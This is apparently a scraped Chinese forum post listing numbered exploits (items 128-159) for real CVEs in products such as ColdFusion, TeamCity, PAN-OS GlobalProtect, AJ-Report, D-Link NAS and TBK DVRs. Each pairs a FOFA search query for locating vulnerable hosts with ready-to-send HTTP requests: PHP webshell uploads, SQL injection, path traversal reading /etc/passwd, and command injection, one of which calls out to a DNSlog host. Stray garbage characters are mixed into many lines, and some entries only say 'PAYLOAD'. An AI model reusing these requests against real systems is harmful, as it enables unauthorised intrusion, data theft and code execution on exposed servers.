------WebKitFormBoundaryJGgV5l5ta05yAIe0--


6 I) }0 w8 P# x, {0 `  u
: D8 k  N% E9 K; A; p128. Adobe ColdFusion 反序列化
. `2 n7 \. e3 o9 I% ^2 R: C4 FCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
" n; @$ L- p! p. K$ e8 {2 h  jFOFA：app="Adobe-ColdFusion"
PAYLOAD

  |' g: C5 r5 i129. Adobe ColdFusion 任意文件读取
" O: m- E; M+ u. q2 |& n2 t2 DCVE-2024-20767
& J+ O5 v. X% o& Q8 ]. AFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
( M; r% _5 {& ~! q第一步，获取uuid
: }0 ~: b" s5 u  C4 \+ U" |- YGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
5 {) H  U1 Z- y/ f2 e- h: ^/ w+ n" LAccept-Encoding: gzip, deflate
- o5 E/ V$ y5 M0 z6 j! TConnection: close


第二步，读取/etc/passwd文件
2 n. h# @. X5 ^GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
4 L+ \# W* [. ~0 q5 D1 pHost: x.x.x.x
; d! H5 B5 k0 `' @! P  Y! Y4 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: h1 h1 s3 `* HAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
0 U2 P$ I8 X) r3 v( U0 d5 c4 d; uuuid: 85f60018-a654-4410-a783-f81cbd5000b9
/ }0 }' ^5 V/ c7 a! \

8 z3 Y* B2 t5 y7 ~% k130. Laykefu客服系统任意文件上传
6 M0 \& I: D9 \FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
5 S  i1 y% S4 U( b( TAccept: application/json, text/javascript, */*; q=0.01
) \" g/ o% Q% E/ {5 X5 A# [( J9 @& MX-Requested-With: XMLHttpRequest
3 }. Q/ O! `  g3 s, VUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
7 L9 o4 L  k% P7 z. X' ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 N  E- K% d& x4 O' g% qCookie: user_name=1; user_id=3
Connection: close
4 w+ d3 F( n4 |
/ M, D8 R$ E0 E: `------WebKitFormBoundary3OCVBiwBVsNuB2kR
; v- ?4 }* m% ]  \; L4 p: Y6 h, cContent-Disposition: form-data; name="file"; filename="1.php"
" p8 l# T8 b- [8 J$ y' [1 |* J; |Content-Type: image/png
7 X% @# T4 K. ~3 o, a1 x
( @2 W$ u0 q; |0 u# @- n<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
' p; x+ l! ?) `后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
5 V7 k: Q& i# K5 j
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
0 E; e- i0 i  {7 w8 o5 {0 _CVE-2024-27198
( o7 \+ Z9 G2 T3 ~1 v% mFOFA：body="Log in to TeamCity"
; u; z$ m& _, g* M8 \. K$ `. wPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
, Y. ?1 e, l  n2 `' THost: 192.168.40.130:8111
. L( |, S. m/ M( O. k5 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
$ R  k, q% w, T" p& lAccept-Encoding: gzip, deflate
" s6 ?; E% _! Y! A# T
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
! m  {1 l* J3 E

3 ]; A& H8 a$ X, XCVE-2024-27199
2 l8 L1 c7 D! Y0 h  h/res/../admin/diagnostic.jsp
0 E* h* Q( x9 E2 N6 ~/.well-known/acme-challenge/../../admin/diagnostic.jsp
& _. r% h8 ]$ J1 B$ [. t: f7 X/update/../admin/diagnostic.jsp


$ A) a: c, y9 d& L: {7 dCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
1 T- w. ~  F$ p! b. rFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
- u. q  J  n1 o0 p) m: t; b1 W; KHost: your-ip
$ @2 |+ W' |; \9 D( RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' E( \  w& S. dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
! ?8 c( ^0 z2 @' h+ f4 Y% z  }Content-Disposition: form-data; name="file"; filename="rce.php"
$ S% z. s# k' B# S3 vContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
! W- ^7 K3 O  @/ [( n& \' p------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

+ t/ G) m! s$ N; y% ~) y

# N: [, m* V- Q3 {2 g: y# i134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
, Z; Z; @- L+ b9 g; W) dCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
; L& C- [0 a: C( EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. U, R& J( b$ \/ `) a  @Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

* `9 y% [; i' v, t! O& n/ Ljsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


$ ~) y+ P: J" }' a& O135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
4 V: ?: E; _/ p! O0 U) eCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
! a9 ?& e( O, u1 }& R  BGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

1 j; B1 d, ?3 ^& t, e
136. NextChat cors SSRF
6 w5 F! k0 M- Y0 K  n7 ECVE-2023-49785
FOFA：title="NextChat"
( m4 t/ e( L% H' P" H) i) Q- ^$ OGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
* {9 q# E/ J. X6 MHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 Z# O* Z( U; t3 kConnection: close
Accept: */*
2 r" f$ j5 L) w* ~/ cAccept-Language: en
Accept-Encoding: gzip

) C5 G* Q, E" c; J7 r1 v) U
' b* x* ^: d) V- f8 Z  d$ m7 J, ^137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
  m! \* S$ m0 w- y6 I' f- qHost: x.x.x.x
5 q) J: m" i8 L( x. VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 q% O+ z7 @/ H( N$ r( SAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
1 X1 W4 p, \/ e( r4 v/ d+ ^Upgrade-Insecure-Requests: 1


& n' m* d# {  I2 \- z( U138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
* b" _: `: w1 @3 k9 U' u3 PCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
+ o$ D2 o+ s% E0 a; J7 qGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
& H; k' X' d* X" bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! P+ t3 I8 Z* m2 V, VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% U; Y# [" h: R' U! S$ R5 l7 EAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
% o! c/ j. L0 Q- n; F
7 F: O8 I% X  B. E7 I; f
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
# D. R/ T$ o0 f: {! u  L6 }" cGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
1 o$ r4 }4 u& O$ T' q# BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
& F0 ]: n+ O. |1 h* ]$ v# j( |4 G$ C# KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 f9 e# s) T# {" Q5 ]; XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 L1 l- f- f' _5 @5 ]/ T! IAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
- o# e' O' |5 R# g4 y9 \Upgrade-Insecure-Requests: 1

/ t( Y6 C% q* o$ j0 V) _. \
' y& `6 V1 i: @/ x140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
: h4 z/ l, Q# j4 ^9 `CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
$ W+ V- _8 Z6 I0 w9 L; jHost: x.x.x.x
9 c( H8 v  @2 q+ R' aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# X- a" ]4 n2 k$ t9 Z) ?( `1 ^8 mConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
5 u4 o4 V) Q. l6 s- A) o+ t
7 ]) w7 f) r2 l( H4 z! d( b
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
3 l( |: N! K' Z2 nFOFA：body="指挥调度管理平台"
- v, z& V9 X3 P5 n/ ?5 b: Y# T$ d8 W. EPOST /app/ext/ajax_users.php HTTP/1.1
" i0 F$ b$ j& G; SHost: your-ip
7 F/ k- a* Z% _9 W, H6 GUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
) ^2 r7 ?0 T3 iContent-Type: application/x-www-form-urlencoded
2 m5 y: }' I3 s# O# U4 W

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
* Z' b" ?0 l  w0 U7 w

6 s; K9 m  Q$ A$ K9 k142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
& U/ A9 k3 i- u- a0 n/ Jadmin/admin
4 O( f/ q0 i  L; G% ?' V143. Netis WF2780 v2.1.40144 远程命令执行
  F9 @2 @7 Q/ H! }% l7 H, [CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
# r% \8 H; f( H$ ~$ g1 ]) d) j
144. D-Link nas_sharing.cgi 命令注入
$ Q( [4 z$ l# F; i6 g8 |( V- [FOFA：app="D_Link-DNS-ShareCenter"
4 ~) L1 U. \' @0 dsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
6 _4 `; _" n8 tHost: x.x.x.x
  K" k1 W# C  ^2 l: xUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
' x* Z) c0 e8 A9 OConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ S" _0 d1 o/ W4 d% L  q7 b
4 h( Q0 ]* x' _) Q+ F
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
, e' J$ Z6 d- OCVE-2024-3400
FOFA：icon_hash="-631559155"
& g# ?& a2 V! [0 N+ N- ~GET /global-protect/login.esp HTTP/1.1
: H7 x2 p' U6 _/ H1 UHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
. g; w% x9 x' T$ O0 w# mConnection: close
) s/ Y( O  h% C: }( qCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
" ]( Z$ P% h1 E' \, F

146. MajorDoMo thumb.php 未授权远程代码执行
3 ~+ w: x& `' M5 JCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
8 M) i, ~* y" @5 Z4 zAccept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
. M) {8 `- i0 ~' H/ {3 s( }. vCVE-2024-32399
FOFA：body="RaidenMAILD"
' j% p3 _% I* o# u$ H5 q& VGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
# C, M/ r' n* {7 V4 r- gConnection: close

4 Z( b+ |5 @( }7 R1 H
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
6 d& y  b9 m; D0 a! [. H3 r
! W2 t; i* L& F$ S/ t; Y' w149. AJ-Report开源数据大屏存在远程命令执行
3 A4 i9 z- W: x' I# r8 `  eFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
* n1 ~& d. n' r5 b5 u
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
1 T8 B1 `( z, U+ E$ ]; b) t& F1 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ e" ~4 u* p0 s* J6 z/ U7 SContent-Type: application/json;charset=UTF-8
4 ]/ p4 H! U; x" z# dConnection: close
+ k. |! a# h' ]6 s/ pContent-Length: 339
4 M/ F  [$ \% z3 p9 {
. N+ a" b. O, h! b{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
3 N0 u) ^8 A2 n- a# `; h0 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. a* v6 C7 E/ K( x+ UConnection: close
Accept-Encoding: gzip


+ C. h  ^8 h5 w+ u8 S. f152. Progress Kemp LoadMaster 远程命令执行
. C7 K. v6 c: p! v6 a/ \! f: y; XCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
* V+ @6 X: T! v, O% D& S* _2 D' U2 MFOFA：body="LoadMaster"
6 i' F2 R- L/ m4 G$ J$ UJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
, X) g6 v% S* ?GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
" p/ {1 D8 ^& Q- CAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
3 h! Z: c+ ]$ K% p+ T( v4 O# q

3 B$ Q7 J8 @: |! h% V5 W5 e+ j153. gradio任意文件读取
7 z/ a) Z+ A. x3 f' cCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
; {1 t% A) ]% D! P2 l

第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
/ K/ {$ o; f, e# pHost: x.x.x.x
  R5 j% Z% u3 H, z8 Y" ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
) h/ N, @* @- N# [9 G' MConnection: close
. `% J: K" V; N7 X+ q' CContent-Length: 115
9 u! I$ A7 D1 M6 d8 DContent-Type: application/json
Accept-Encoding: gzip
$ \3 @( K/ \- N* S7 D' e
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

' k: }3 V. h+ m# p+ [% h6 F
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
, u% r( Q7 z: o; |6 d% L& O
* h( V2 E2 S* e. M9 K
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
4 X6 q$ h( c* D8 B8 rPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
0 E* J6 X0 b1 H' U: JContent-Length: 106
% T: D: Z: ?9 Y: b8 |# C" r' W8 LCache-Control: max-age=0
3 o! a7 U1 c# f+ D7 u2 z7 `" z' _Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
$ R6 U* X" [' f9 g4 {) \0 bAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
6 |2 F, w/ ~8 wConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

! u7 U+ S( o  O( ?+ }9 m% V/ V
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
& m5 Z' _/ ?6 KFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
! W6 I' z* r' K& y  T; K# CHost: x.x.x.x
4 v2 m$ C* M: P, lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 u; D- y7 Z" l1 @Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
) @2 K) `. ]0 P9 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! ^" Z* R2 x, Z& A3 o4 h4 z! X! iContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
) I. D, }8 e  v. qX-Requested-With: XMLHttpRequest

+ J* }. O3 b4 ~/ Q-----------------------------qttl7vemrsold314zg0f
5 e# l! p: v) {+ C  |7 h1 d7 \8 G- QContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
  Z5 ~: n( [1 y9 d4 P6 V; f
7 d/ D! g4 }8 x& J4 S" d8 f<?php phpinfo();unlink(__FILE__);?>
" _, ?" x0 @. @7 t6 q1 x-----------------------------qttl7vemrsold314zg0f--
% i8 H" n  Q+ {* R& Z  W

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
. K0 u$ `% ?" g( i  b* R' r( t
0 h8 ?# [8 ^* ]156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
/ V3 H( J5 d$ X3 R% V! Y  T·TBK DVR-4104
·TBK DVR-4216
, @/ J2 G$ m5 v+ jcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
$ _4 ^  j4 k, a( K

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
* L0 p8 z( j# T( z1 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
( Q; }" }7 p8 N/ K1 wContent-Length: 0
1 B8 D* T# `! f9 LCookie: uid=1
6 }% E9 Q9 M: O- e8 e" `Accept-Encoding: gzip

1 ~  d5 q% [$ z) Z6 C
  ~, x; Z# I; X/ _5 [' K157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
0 s  T+ |& \$ c1 t; ?4 _* v5 g: aFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
* S* c) e5 x$ R2 S& p  xHost: x.x.x.x
' [! n2 w* D1 T' {3 \2 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
) Z8 M: n4 f! h+ U# w, Q* n9 NContent-Length: 709
. Z2 J  {; U- u+ J& |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! S4 ^: c# R& {/ h. b$ M% Q1 [Accept-Encoding: gzip, deflate
# x8 I8 g9 u9 X" j2 i* o3 I& ?$ XAccept-Language: zh-CN,zh;q=0.9
# Z  E) I& v. m! d$ f+ f9 ECache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
4 s" |( B6 c5 E$ w: [6 z# u
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
8 D! |$ r* @, g5 LContent-Type: application/octet-stream
- t2 y0 n7 @  k% C# Y
: {0 i3 Y; r% l$ W" R, A5 H+ Hnyhelxrutzwhrsvsrafb
7 C9 F  u6 e% G3 Z5 l------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
) X# l5 W7 l) P5 R# h
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
$ k, p& V6 c# U$ MContent-Disposition: form-data; name="field"

; l9 \) \* l6 a% onull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
7 }, \4 E  ]0 m. d
8 F$ {# Y( h$ Q: Anull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

  P3 Z2 f9 a- Q/ O4 nnull
# f# o) ]3 C/ P  p------WebKitFormBoundary1imovELzPsfzp5dN--
+ b/ A! y# i8 u. v

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
  g. X  v7 y8 A: a7 @CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
& A+ K/ Q/ l/ _4 t; F( D4 t: Z, ~( hHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

" Z; ]2 {% J3 K  x( r- \object=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
: S" A" C+ ~8 c5 xFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
4 }& _+ Q4 s1 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
5 H7 K) a% A) h  B& R; P2 c+ qContent-Length: 1080
! |7 a0 [6 C& u3 h+ f) hAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
: u5 Q4 J5 F) R6 L* d
<?xml version="1.0" encoding="utf-8"?>
